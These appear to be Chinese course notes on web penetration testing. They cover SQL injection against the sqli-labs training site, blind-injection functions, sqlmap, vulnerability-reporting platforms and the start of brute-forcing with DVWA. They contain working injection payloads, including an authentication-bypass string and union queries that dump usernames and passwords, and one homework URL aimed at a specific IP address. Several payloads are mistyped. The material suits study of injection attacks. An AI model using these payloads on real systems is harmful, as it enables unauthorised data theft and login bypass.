目录
SQL注入基本概念
SQL注入产生的原因
当web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或者修改数据库中的数据。
SQL注入的本质
把用户输入的数据当做代码来执行,违背了“数据与代码分离的原则”。
SQL注入的两个关键点
用户能够控制输入的内容
web应用把用户输入的内容带入到数据库中执行。
-
SQL注入的危害:SQL中(#)号是注释作用。
-
:盗取网站的敏感信息。
-
:绕过网站后台认证。
万能密码:‘ or ‘1’ = ‘1’ #
其中第一个单引号和登陆语句本身的密码的单引号成对,or(全假才加),所以万能语 句为真,#将登陆语句后面的内容全部注释掉。
-
:借助SQL注入漏洞提权获取系统的权限。
-
:提取文件的信息。
SQL注入分类
- 根据注入位置分类:GET型、POST型、Head头注入
- 根据反馈结构分类:有回显(显错注入)、无回显(盲注)
- 根据数据类型分类:数字型和字符型
数字型:输入的参数为整型,如ID、年龄、页码等。
字符型:输入的参数为字符串。
数字型与字符型的最大区别:数字型不需要单引号闭合,字符型一般需要单引号闭合(闭合方式也不一定就是单引号)。 - SQL语句显示:在每一个关卡里面加入
echo $sql;
echo "<br>";
SQL注入流程
1.寻找注入点
比如密码输入、网页搜索框
2.判断闭合方式
?id=1sjkhd(后面的字母可以乱写)
有报错:数字型,数字类型无闭合
无报错:字符型,需要判断闭合方式,闭合方式有:'、"、')、")
将判断闭合方式语句后加一个单引号(判断闭合方式,此时语句知道类型为字符型):?id=1sjkhd'
如下:去掉我们输入的1sjkhd'后,观察右边,发现还剩下一个单引号,所以为单引号闭合方式
3.验证漏洞
?id = 1 and 1 --+ 正常显示(--+与#一样,属于注释作用)真(and,全真才真)
?id = 1 and 0--+ 无显示 假
两个语句执行后,第二个语句无显示,存在漏洞。
4.判断列数及回显
利用order by语句:?id=1') order by 4--+ (这里的数字从大到小测试,可以采用二分法)。
如下:
5.利用联合查询,判断回显位
?id= -1') union select 1,2,3 --+ (注意:1前面有个负号,前面得知有三列)
如下:1没有显示,接下来就只需要到2和3有回显的位置进行测试。
6.取数据库名
如上知道,可以在2和3的位置进行注入。相应位置写:database()
取数据库名(在2的位置进行注入,3也可以):?id= -1') union select 1,database(),3 --+
如下:可以得到2的数据库名为:security
7.取表名
?id=-1') union select 1,(select group_concat (table_name) from information_schema.tables where table_schema=database()),3 --+
其中database()写成security也可以
information_schema:就是指数据库(点tables就是指数据库下的一张表)
group_conat:将我们查到的内容进行输出。
table——name:表名
8.查列名:
对取表名的语句进行修改:?id=-1') union select 1,(select group_concat (table_name) from information_schema.tables where table_schema=database().....),3 --+
修改后:?id=-1') union select 1,(select column_name) from information_schema.column where table_schema=database() and table_name='users',3++
其中:users为上面查到的表名,可以随便选一个来查询。
如下就可以知道:在users下有如下三个列名
9.取最后的数据:
?id=-1') union select 1, ( select group_concat(username)from users ,3 --+
如下,就取出了username下的全部数据内容
这里,可以在2的位置写上username,3的位置写上password,就可以的到全部数据
?id=-1') union select 1,group_concat (username),group_concat(password) from users --+
10.总结:
盲注的基本概念
什么是盲注
指在SQL注入的过程中,找到注入点后,执行SQL语句后,选择的数据或者错误信息不能回显到前端页面。
这里需要利用一些方法进行判断或者猜测,这个过程称之为盲注。
第八关就用到盲注的方法。因为当输入?id=1时,出现的是:You are in .......
只有两种显示,输入正确的语句,就显示you are in ......,输入错误的东西,就不显示内容。
盲注的分类:
- 基于布尔判断的盲注
- 基于时间延迟的盲注
- 基于报错显示的盲注
盲注常用函数(分号不要忘记)
- substr(string,start,length)
功能:截取字符串的功能
返回值:返回截取后的字符串
参数:string为操作字符串,start为字符串的开始位置,length为从开始位置截取的长度。
比如:$ret = substr ("hello kali",2,4);
ret = "ello" ; #(解释:从第二个位置开始,长度为4)
比如:substr(database(),1,1)> ' a ' #(解释:判断数据库名第一位是否大于a,再查看其他位进行判断)。
- mid(column_name,start,length)
功能:与substr的功能是一样的。
- left(string,n)
功能:返回字符串string最左边的n个字符串
返回值:字符串的左边的n个字符串
比如:$ret = left("redhat",3);
ret = "red";
比如:left(database()2,=‘se’)#判断数据库名前2个字符是否为se;再查看其他位进行判断。
- right(与left一样,只是说从右边开始)
- ord (char)
功能:char为字符,用于返回字符的ASCII码,有时候服务器会对单引号进行转义,使ASCII码就不适用单引号参数。
返回值:返回ASCII码值
比如:$ret = ord('a');
ret = 97;
比如:ord (mid(database),1,1)>114;#检测database()的第一位ASCII码是否发育114,也就是‘r’。
- ascii(str)#与ord的功能一样。
- length(string)
功能:截取字符串的长度,判断字符串的长度
比如:length(database())>5 #判断数据库名是否大于5.
- ifnull(str1,str2)
功能:根据第一个参数是否为null返回的具体值,ifnull里面有两个数,如果第一个数不为null,返回str1,如果第一个数str1=null,返回str2 。
返回值:根据第一个参数来判断返回值。
比如:$ret1 1=ifnull ("hello","nihao");
ret1 = "hello"
$ret2 = ifnull (null,"nihao");
ret2 = "nihao"
第三次课作业:
- 判断类型:输入?id=1ijfifj,有报错
- 验证漏洞:存在漏洞
- 判断列数及回显,数字从大到小,采用二分法,测试有三列
- 利用联合查询判断回显位,注意,id后面的-1不要省略
- 取数据库名
- 取表名
- 取列名:把table改成column
- 取全部数据:未完成http://120.27.61.239:8007/source/index.php?id=-1 union select 1,(select group_concat (email_id) from emails,3 --+
SQL注入盲注原理及利用
第五次课 自动化注入神器SQLMAP的使用
POST型的布尔盲注
sqli-labs-master的第15关(正确的用户名和密码是admin,输入正确的羡慕会显示蓝色字体,错误的会显示红色字体)
- (按照顺序进行)打开第15关,随便输入一个用户名的密码,打开火狐代理器中的burp,将代理打开进行抓包,点击关卡中的submit,
- 点击空白处,点击send to repeater(打开重放模块)点击repeater,将代理模块放掉。
- 在重放模块里面进行测试,先点击send(发送数据包)。render可以看到抓到的服务器的当前图片。
正确就会显示flag.jpg。
1.判断闭合方式,单引号,双引号,单引号括号,自己测试,后面raw回应里面如果是flag.jpg,就是正确的闭合方式,改题就是单引号闭合方式。
关于and和or,当知道用户名时用and,当用户名不知道是,用or
2.用length函数判断数据库长度:每一个函数后面的语句都要用括号扩起来。
uname=adin' or length(database())=8#&passwd=sdmin&submit=Submit
3.判断数据库的第一个字符,用ASCII函数和substr截取数据的第一个字母
uname=adin' or ascii(substr(database(),1,1))=115#&passwd=sdmin&submit=Submit
4.后面依次去盲注,慢慢做
漏洞挖掘的介绍
漏洞的定义
漏洞是指对任何风险或者威胁的可能性,这些风险或者威胁可能会损害存储在系统或者网络中信息的完整型,对其进行修改或者被攻击者用于灾难性目的。对网站(计算机)可以造成危害、影响的都归类为漏洞。
漏洞挖掘
漏洞挖掘是指对应用程序中未知漏洞的探索,通过综合利用各种技术和工具,尽可能地找出其中的潜在漏洞。一般情况下漏洞挖掘针对单一的应用系统,通过端口扫描、目录扫描、文件扫描等方式对其进行信息收集,然后再进行漏洞挖掘。信息收集越多越好。
OWASP TOP 10
OWASP TOP 10是由开放的web应用程序安全项目(OWASP)建立的公开共享的10个关键的web应用程序安全漏洞列表。根据OWASP,漏洞是程序中的一个弱点,它允许恶意方(攻击者)对应用程序的利益相关写(所有者、用户等)造成伤害。
漏洞挖掘的工具
- burpsuite
- sqlmap
- xray
- awvs
- nessus
- metasploit
python环境安装
https://www.python.org/ftp/python(安装版本)
https://www.python.org/downloads/(官网)
没有版本要求,看自己的电脑配置
注意,安装时,将add Python.exe to path要勾选上,这样就不用我们自己再去配置环境变量了。
sqlmap的使用
介绍:
下载:https://sqlmap.org/
将文件解压后就可以使用,不需要安装。点击cmd,进入sqlmap.py,出现这样的界面就是正确的,如果不正确,检查Python程序的名字。
在没有进行Python环境配置的情况,找到下载的sqlmap文件夹,在搜索栏搜索cmd按回车后,输入Python sqlmap.py也可以。
sqlmap的使用
测试单目标(get型)
--的命令小心使用。 
测试多目标(就是指多个关卡一起进行测试)
测试POST型
SQL漏洞的寻找及提交(也别乱来)
发现漏洞后,不去取里面的数据就没什么大的问题,提交到相应的平台即可。
网站里面有.gov的,在未授权的情况下,千万不要去碰。
测试是否存在漏洞
如果有漏洞,可以提交到相应的平台
安全应急响应中心
SRC(security response center)是安全研究者反馈厂商产品和业务安全问题的官方平台,该平台旨在加强厂商与安全业界的合作,提升厂商整体安全水平,打造健康安全的互联网出行生态。
安全客里面提交漏洞。找到相应网站
漏洞盒子公益SRC
公益SRC是白帽子随机发现的漏洞提交平台呢。
教育行业漏洞报告平台
网站:https://src.sjtu.edu.sn/
第六课 暴力破解网站和密码
暴力破解
就是指使用暴力的方式进行用户名和密码的破解,也就是指反复尝试错的方法来尝试你破解用户名或者密码。
比如:我们拿到一个网站的后台管理页面,但是不知道用户名和密码,这个时候,我们可以利用字典进行暴力破解。
为什么要进行暴力破解:一种获取用户名和密码的方式,
暴力破解的准备工作
- 一个学习的靶场DVWA
- 字典(爆破的效率和字典有关)
- 爆破工具:burp suite
如何进行暴力破解
1.配置代理
要与浏览器的代理相同